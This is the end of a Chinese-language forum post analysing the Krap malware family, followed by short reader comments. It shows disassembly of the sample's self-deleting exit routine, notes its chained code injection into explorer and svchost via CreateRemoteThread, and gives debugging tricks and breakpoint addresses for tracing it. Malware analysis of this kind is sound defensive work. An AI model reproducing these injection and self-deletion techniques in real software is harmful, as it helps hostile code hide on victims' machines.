0014118A 897D E0 mov dword ptr ss:,edi
0014118D 8975 C8 mov dword ptr ss:,esi
00141190 FF15 D0301400 call dword ptr ds: ; shell32.ShellExecuteExA
001411A4 FFD6 call esi ; kernel32.SetPriorityClass
001411A6 68 00010000 push 100
001411AB FF15 A8301400 call dword ptr ds: ; kernel32.GetCurrentProcess
001411B1 50 push eax
001411B2 FFD6 call esi
001411B4 6A 0F push 0F
001411B6 FF15 A4301400 call dword ptr ds: ; kernel32.GetCurrentThread
001411BC 50 push eax
001411BD FF15 AC301400 call dword ptr ds: ; kernel32.SetThreadPriority
001411C3 57 push edi
001411C4 8D85 C0FEFFFF lea eax,dword ptr ss:
001411CA 50 push eax
001411CB 6A 01 push 1
001411CD 6A 04 push 4
001411CF FF15 D4301400 call dword ptr ds: ; shell32.SHChangeNotify 自删除自身。
001411D5 57 push edi
001411D6 FF15 B0301400 call dword ptr ds: ; kernel32.ExitProcess
6 .调试中的一些技巧
由于病毒的主程序使用了连续注入的方式，使得分析并不是十分容易。我们需要分析被注入的
explorer和在explorer中分析要被注入svchost.直接分析explorer会很不方便，explorer挂起后，
很多操作的都失去了响应。
这里的一个办法是修改注入时的进程名，比如放一个替罪羊程序过去改名叫expl0rer,这样就容
易调试了，同理，在expl0rer注入时，放同样替罪羊程序改名叫svch0st.exe即可。
由于svch0st.exe是被挂起的方式创建的，此时0llydbg不方便attach上去调试。这里可以先要找
到那块注入的在svch0st.exe代码开始位置，用icesword，修改内存，把开头的指令修改为一个死循环。
比如一个函数的开头是这个
00401097 > 55 push ebp
00401098 8BEC mov ebp,esp
修改为
00401097 >- E2 FE loopd short __krap_.<00401097>
00401099 90 nop
当expl0rer.exe 调用ResumeThread后，再去用ollydbg attach即可。
下面总结了一些分析时比较有用的断点，依次下断点即可
病毒主程序中,
4011DF(第一次解密完成) 009226AC（内存中解密完毕） 0040807E（二次解密）
00402114（此时可修改explorer为expl0rer）
00401E7D (计算注入点函数入口偏移，调用CreateRemoteThread，此时可去expl0rer.exe中设置断点)
expl0rer 中断点，由于映射的基址不同，所以??的地方是每个机器中的具体地址，比如我映射的是BE0000这个基址
那么断点就是00BE1F3C,和00BE1E80
00??1f3c (此时可修改svchost为svch0st)
00??1e80 (此时可计算出注入svch0st中的代码地址，用来下断点)
svch0st中的直接分析即可了。
以上就是关于Krap家族的解密方式及ao变种，download下来的东西就不分析了太多了:)。
样本：
//----------------------------------------------------------------------------------------------------------~~~ :$qqqNeiNei牛来发帖了,强烈学习! 围观帅哥~膜拜 学习学习,貌似很强大@0@ 膜拜后学习 先膜拜再mark后学习 牛人啊 佩服 好长..得慢慢看了 学习了 很强大，学习了